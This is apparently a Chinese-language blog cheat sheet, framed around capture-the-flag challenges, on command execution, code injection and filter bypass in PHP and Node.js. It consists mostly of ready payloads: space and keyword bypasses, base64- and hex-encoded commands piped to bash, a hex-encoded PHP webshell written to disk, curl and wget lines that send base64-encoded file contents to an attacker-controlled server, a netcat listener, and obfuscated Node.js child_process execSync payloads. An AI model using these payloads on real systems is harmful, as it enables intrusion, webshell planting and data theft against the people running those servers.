命令执行和绕过

高危函数:

system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open() 注:反引号是shell_exec()的别名

代码注入

程序过滤不严谨,导致用户可以将代码注入并执行。高危函数:eval()、assert()、preg_replace()、call_user_func()等等和命令执行的区别是:一个执行系统命令,一个执行PHP代码

bypass

过滤空格

$IFS
${IFS}
$IFS$9
<
<>
{cat,flag.php}// 用逗号实现了空格功能,需要用{}括起来
%20
%09

过滤某关键字

ca\t y1n\g.php反斜线绕过
cat y1”ng.php 两个单引号绕过
echo “Y2F0IC9mbGFn” | base64 -d | bash#base64 编码绕过
echo “6361742079316E672E706870” | xxd -r -p | bash#hex 编码绕过
cat y1 [n] g.php用[]匹配
cat y1n*用*匹配任意
cat y1n?
cat y1{a..z}g
more tlif3
less tlif3
head tlif3
tail tlif3
nl f*
m4 *

escapeshellcmd+escapeshellarg绕过

无参数rce

shell_exec等无回显函数

判断方法

ls;sleep(3)

复制法

copy flag.php flag.txt
mv flag.php flag.txt
cat flag.php > flag.txt

压缩法

tar cvf flag.tar flag.php #tar压缩
tar zcvf flag.tar.gz flag.php #tar解压
zip flag.zip flag.php #zip压缩
unzip flag.zip #zip解压

写shell法

echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
//echo "<?php @eval(\$_POST[123]); ?>" > webshell.php

利用vps反弹shell

法一

在自己的公网服务器站点根目录写入php文件,内容如下:
<!-- record.php -->
<?php
$data =$_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data);
fclose($f);
?>

在目标服务器的测试点可以发送下面其中任意一条请求进行测试

curl http://*.*.*.**/record.php?data=`cat flag.php|base64`
wget http://*.*.*.*/record.php?data=`cat flag.php|base64`

法二

1.在公网服务器监听监听端口

nc -lp 9999(端口号)

2.向目标服务器发起http请求,执行curl命令

curl ip:9999

参考https://bbs.huaweicloud.com/blogs/detail/286904

法三,外带flag

curl -d @/home/www-data/res.txt http://xx:xxx
curl http://xx:xx/?d=`php -r 'file_'|base64`
echo `ps`>/home/www-data/res.txt

第一条是读取文件内容,第二条是执行命令,可以将执行命令的结果保存为一个文件,然后再去进行读取

nodejs RCE

1.child_process

child_process是用来执行系统命令模块

require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件,在第二个参数传args
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);

2.nodejs中的命令执行过滤关键字

16进制编码绕过

require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")

unicode编码

require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")

加号拼接

require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')

模板字符串

require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')

concat连接

require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")

base64编码

eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

Obejct.keys

实际上通过require导入的模块是一个Object,所以就可以用Object中的方法来操作获取内容。利用Object.values就可以拿到child_process中的各个函数方法,再通过数组下标就可以拿到execSync

console.log(require('child_process').constructor===Object)
//true
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')

Reflect

在js中,需要使用Reflect这个关键字来实现反射调用函数的方式。譬如要得到eval函数,可以首先通过Reflect.ownKeys(global)拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]即可得到eval

console.log(Reflect.ownKeys(global))
//返回所有函数
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//拿到eval

拿到eval之后,就可以常规思路rce了

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')

这里虽然有可能被检测到的关键字,但由于mainModuleglobalchild_process等关键字都在字符串里,可以利用上面提到的方法编码,譬如16进制。

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')

这里还有个小trick,如果过滤了eval关键字,可以用includes('eva')来搜索eval函数,也可以用startswith('eva')来搜索

过滤中括号的情况

3.2中,获取到eval的方式是通过global数组,其中用到了中括号[],假如中括号被过滤,可以用Reflect.get来绕

Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值,类似于target[name]

所以取eval函数的方式可以变成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

后面拼接上命令执行的payload即可。

https://www.anquanke.com/post/id/237032

bash盲注

Author

vague huang

Posted on

2021-08-26

Updated on

2022-02-11

Licensed under

Comments